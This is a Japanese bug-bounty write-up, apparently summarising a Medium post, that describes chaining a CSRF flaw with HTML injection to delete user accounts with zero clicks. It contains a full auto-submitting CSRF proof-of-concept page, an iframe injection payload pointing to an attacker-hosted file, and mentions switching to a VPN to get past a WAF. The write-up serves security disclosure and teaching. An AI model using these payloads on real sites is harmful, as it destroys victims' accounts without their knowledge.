Hello there, ('ω')ノ
CSRF 攻撃 - クリック 0回でアカウント削除を。
脆弱性:
HTML インジェクション
記事:
https://medium.com/@bug_vs_me/csrf-attack-0-click-account-delete-1st-write-up-3d67b267b931
今回は、プログラムのバグを探していたのですが。
管理者アカウントとユーザアカウントの両方を持っているので。
Web アプリケーションの機能をフルに活用でき。
だから、次のようなリクエスト(管理者アカウント)でCSRFを見つけようとして。
1.ユーザを削除
2.ユーザを追加
3.ファイルを削除
4.ユーザをアップグレード
しかし、すべて認証トークンが必要だったので。
エンドポイントをファジングしようとしたところ、WAF によってブロックされた後。
ロシアの VPN を使用してテストを続け。
VPN に接続した後、次のようなポップアップが表示され。
Are you a citizen of the Russia?
ユーザが [はい] をクリックすると、別のポップアップが表示され。
データが削除され、ロシアのユーザは許可さず。
そして、その終了要求と要求がリンクされていることをキャプチャして。
POST /ru/status/
Host: xyz.com
Cookies: blah-blahStatus=yes
したがって、この POST リクエストでは認証トークンは使用されず。
Poc を作成し、その CSRF html poc を Web サーバにホストして。
POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xyz.com/ru/status" method="POST">
<input type="hidden" name="status" value="yes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
しかし、CORS ポリシーによってブロックされているため。
POST リクエストを送信でず。
POST リクエストを送信すると、次のメッセージが表示されて。
そして、Burp リピータでサーバから送信されたこのリクエストを。
チェックしようとして。
<meta name="referrer" content="never">
それでも、ユーザは最初に私のリンクをクリックし。
送信ボタンをクリックする必要がありますが、影響は少ないため。
この完全に自動化された 0 の操作が必要になるようにしてスクリプトを追加して。
<script>
window.onload = function(){
var input = document.getElementById(‘clickButton’);
input.form.submit();
}
</script>
したがって、このスクリプトはページの読み込み時にフォームを送信し。
新しい最終的な POC:
<html>
<body>
<script>
window.onload = function(){
var input = document.getElementById('clickButton');
input.form.submit();
}
</script>
<script>history.pushState('', '', '/')</script>
<form action="https://xyz.com/ru/status" method="POST">
<input type="hidden" name="status" value="yes" />
<meta name="referrer" content="never">
<input id="clickButton" type="submit" value="Submit request" />
</form>
</body>
</html>
そして、HTMLインジェクションを見つけ、そこにxssはなくて。
そこで、 <iframe> タグでそれを連鎖させ。
Web アプリケーションはコミュニティのようなもので、投稿でき。
本文に <iframe> と <img タグをホストできることがわかり。
<img タグは get ベースの CSRF でうまく機能するため、ここでは使用せず。
投稿本文に書きをインジェクションして。
"></span></td><iframe src="https://mywebhost/poc.html" >
したがって、誰かが Web ページをサーフィンしているだけで。
自分の投稿が <iframe> タグに到着すると最初にサーバに GETリクエストを送信して。
poc.html を取得し、次に「https://xyz.com/ru/status」に投稿リクエストを送信して。
poc.html に事前に読み込まれたフォームが返され。
被害者のアカウントは警告やユーザの介入なしに完全に削除されて。
Best regards, (^^ゞ